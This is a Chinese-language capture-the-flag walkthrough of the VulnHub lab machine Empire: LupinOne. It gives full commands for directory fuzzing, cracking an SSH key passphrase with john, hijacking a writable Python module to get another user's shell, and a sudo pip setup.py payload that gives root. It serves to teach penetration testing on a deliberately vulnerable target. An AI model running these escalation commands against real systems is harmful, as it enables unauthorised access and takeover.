靶机地址喔:Empire: LupinOne ~ VulnHub
网络环境老样子的喔,靶机和kalivmware喔,桥接喔!
一:信息收集
1:主机发现。
netdiscover -i eth0 -r 192.168.1.1/24
2:开放的端口及服务。
3:访问端口喔。开放了22端口,辣我们就要找到用户和秘密了喔!
二:枚举漏洞
1:爆破一下目录有什么哇?
dirsearch -u http://192.168.1.51
2,不允许扫描到/~xx的目录,与 /~myfiles ,类似的目录应该还有,所以我们选择使用wfuzz来对目录进行爆破.
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/big.txt --hc 404,403 http://192.168.1.51/\~FUZZ
3.发现“secret”目录,用户名:icex64.
4.使用ffuz这个工具扫描,这个工具可以选择后缀名。
ffuf -u "http://192.168.1.51/~secret/.FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .txt,.pub,.html,.bak -mc 200
参数解释:
-c 有颜色输出
-w 指定字典-u 指定 URL,URL 中 FUZZ 是需要爆破的文件名
-fc 过滤指定的返回状态码
-e 逗号分隔的扩展名列表。可以指定爆破的文件扩展名
5.访问mysecret。发现是base58编码,解码为ssh的私钥。
三:漏洞利用
1.把私钥保存, 这里,不能直接用私钥登录。没有密码。
ssh icex64@192.168.1.51 -i ssh.key
2.私钥爆破一下密码。密码:P@55w0rd!
/usr/share/john/ssh2john.py ssh.key > hash 将 ssh.key 转为 john 能识别的 hash
john --wordlist=/usr/share/wordlists/fasttrack.txt hash 使用破解hash
3.登不上,忘加权限了。第一个flag。
chmod 600 ssh.key
四:权限提升-suid提权。
1.查看权限。查看用户。
sudo -l
2.发现用户,nopasswd可以执行文件。进去看一下。
Hi my friend Icex64, Can you please help check if my code is secure to run, I need to use for my next heist. I dont want to anyone else get inside it, because it can compromise my account and find my secret file. Only you have access to my program, because I know that your account is secure. See you on the other side. 译文:嗨,我的朋友Icex64, 你能帮我检查一下我的代码运行是否安全,我需要用于我的下一次抢劫。 我不想让任何人进入我的账户,因为它会破坏我的账户,找到我的秘密文件。 只有你能进入我的程序,因为我知道你的账户是安全的。 在另一边见。
3.利用模块里的系统命令切换用户。
第一种。编辑webbrowser.py,写入调用arsene的shell脚本.
locate webbrowser 查找模块
echo import os > /usr/lib/python3.9/webbrowser.py
echo os.system\(\"/bin/bash\"\)>>/usr/lib/python3.9/webbrowser.py 需要将(和"进行转义
cat /usr/lib/python3.9/webbrowser.py
import os
os.system("/bin/bash")相当于在命令行直接输入该语句,会返回执行结果,但是系统会自动为它所执行的程序分配进程
/bin/bash 用户登录系统后(默认)命令解释器
第二种。编辑webbrowser.py,写入调用arsene的shell脚本.
cd /usr/lib/python3.9 进到目录下找webbrowser.py模块,查看模块内容。
发现模块导入了os模块,
对比两个文件权限,可以发现webbrowser.py任何用户具备可读可写可执行权限
ls -la | grep webbrowser.py
ls -la /home/arsene/heist.py
修改 webbrower.py,添加以下代码
os.system ("/bin/bash")
vim /usr/lib/python3.9/webbrowser.py 最后保存。
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py 执行命令切换shell.
4.切换成功。
arsene =>root
拿到arsene用户权限后,查看sudo -l,发现可以免密执行/usr/bin/pip。
五。sudo-pip提权。
GTFOBins 在GTFOBins
搜索pip
提权相关命令
1.执行命令。
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
1.1.我们可以在当前路径下新创建一个目录并打开在里面创建setup.py
文件,里面写入我们想运行的python脚本,如反弹shell,然后利用pip install
以root权限执行。
mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .
2.成功了喔。第二个flag。
总结:
本次靶机涉及信息泄露漏洞,系统配置漏洞,sudo 提权
- wfuzz对隐藏目录进行爆破
- ffuf 工具暴力破解目录
- base58加解密
- ssh2john工具的使用
- 使用 john 破解 hash
- sudo:pip提权